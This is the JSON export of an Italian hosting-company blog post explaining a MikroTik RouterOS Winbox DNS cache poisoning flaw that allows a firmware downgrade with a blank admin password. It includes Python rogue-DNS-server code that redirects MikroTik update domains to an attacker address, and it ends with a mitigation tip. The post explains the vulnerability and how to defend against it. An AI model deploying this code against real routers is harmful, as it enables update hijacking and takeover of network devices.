{"id":39604,"date":"2019-10-31T22:36:42","date_gmt":"2019-10-31T19:36:42","guid":{"rendered":"https:\/\/prohoster.info\/blog\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\/"},"modified":"2019-10-31T22:36:42","modified_gmt":"2019-10-31T19:36:42","slug":"backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","title":{"rendered":"La vulnerabilit\u00e0 di RouterOS mette a rischio centinaia di migliaia di dispositivi","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\"La
\n
\nLa possibilit\u00e0 di downgradare dispositivi basati su RouterOS (Mikrotik) da remoto mette a rischio centinaia di migliaia di dispositivi di rete. La vulnerabilit\u00e0 \u00e8 legata all'avvelenamento della cache DNS del protocollo Winbox e consente di caricare un firmware obsoleto (con reset della password \"di default\") o modificato sul dispositivo.
\n<\/a><\/noindex>
\n\"La
\n<\/p>\n

Dettagli sulla vulnerabilit\u00e0<\/h3>\n

\nIl terminale RouterOS supporta il comando di risoluzione per la ricerca DNS.<\/p>\n

\"La
\n
\nQuesta richiesta \u00e8 gestita da un file binario chiamato resolver. Il resolver \u00e8 uno dei tanti file binari collegati al protocollo Winbox di RouterOS. A un livello alto, i \"messaggi\" inviati alla porta Winbox possono essere instradati a vari file binari in RouterOS in base a uno schema di numerazione basato su array.<\/p>\n

Per impostazione predefinita, la funzione del server DNS \u00e8 disabilitata in RouterOS.<\/p>\n

\"La
\n
\nTuttavia, anche con la funzione del server disattivata, il router mantiene una propria cache DNS.<\/p>\n

\"La
\n
\nQuando facciamo una richiesta usando winbox_dns_request, ad esempio example.com, il router memorizzer\u00e0 il risultato nella cache.<\/p>\n

\"La
\n
\nPoich\u00e9 possiamo specificare il server DNS attraverso il quale deve passare la richiesta, \u00e8 banale inserire indirizzi errati. Ad esempio, si pu\u00f2 configurare un'implementazione del server DNS di Philipp Klaus<\/a><\/noindex>, per rispondere sempre con un record A contenente l'indirizzo IP 192.168.88.250.<\/p>\n

def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    print(\"---- Reply:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nOra, se cerchiamo example.com tramite Winbox, possiamo vedere che la cache DNS del router \u00e8 avvelenata.<\/p>\n
\"La
\n
\nCerto, l'avvelenamento di example.com non \u00e8 molto utile, poich\u00e9 il router non lo utilizzer\u00e0 effettivamente. Tuttavia, il router necessita di contattare upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com e download.mikrotik.com. E grazie a un'altra vulnerabilit\u00e0, c'\u00e8 la possibilit\u00e0 di avvelenarli tutti contemporaneamente.<\/p>\n
def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"upgrade.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud2.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"download.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    print(\"---- Reply:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nIl router richiede un'autorizzazione, ma noi ne forniamo cinque in cambio. Il router memorizza nella cache tutte queste risposte in modo errato.<\/p>\n
\"La
\n
\n\u00c8 chiaro che questo attacco \u00e8 utile anche se il router funge da server DNS, poich\u00e9 consente di attaccare i clienti del router.<\/p>\n
Inoltre, questo attacco consente di sfruttare una vulnerabilit\u00e0 pi\u00f9 grave: effettuare un downgrade o un backport della versione di RouterOS. L'attaccante ricrea la logica del server di aggiornamento, incluso il changelog, e costringe RouterOS a considerare una versione obsoleta (vulnerabile) come attuale. Qui il pericolo risiede nel fatto che durante l'\"aggiornamento\" della versione, la password dell'amministratore viene reimpostata su \"predefinita\" \u2014 un malintenzionato pu\u00f2 accedere al sistema con una password vuota!<\/p>\n
\r\n        \"Guarda\r\n        
<\/div>\r\n    <\/div><\/center>
\nL'attacco funziona, anche se l'autore<\/a><\/noindex> implementa ulteriori vettori, che includono anche l'inserimento di un backdoor nel firmware<\/a><\/noindex>, ma questa \u00e8 gi\u00e0 una tecnica superflua e il suo utilizzo per scopi illeciti \u00e8 contro la legge.<\/p>\n
Protezione<\/h3>\n
\nLa semplice disattivazione di Winbox consente di proteggersi da questi attacchi. Nonostante la comodit\u00e0 di amministrazione tramite Winbox, \u00e8 meglio utilizzare il protocollo SSH.
\n
Fonte: habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u0443\u043d\u0433\u0440\u0435\u0439\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 RouterOS (Mikrotik) \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c DNS-\u043a\u0435\u0448\u0430 Winbox \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e (\u0441\u043e \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u00ab\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\u00bb) \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b RouterOS \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DNS. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c resolver. Resolver \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":39605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-39604","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47La vulnerabilit\u00e0 del backport in RouterOS mette a rischio centinaia di migliaia di dispositivi | ProHoster","description":"Opportunit\u00e0.","canonical_url":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"it_IT","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47Backport \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 RouterOS \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 | ProHoster","og:description":"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c.","og:url":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2019-10-31T19:36:42+00:00","article:modified_time":"2019-10-31T19:36:42+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"39604","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-24 02:24:21","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-03-01 00:47:24","updated":"2026-01-24 02:24:21","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/39604","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/comments?post=39604"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/39604\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/media\/39605"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/media?parent=39604"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/categories?post=39604"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/tags?post=39604"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}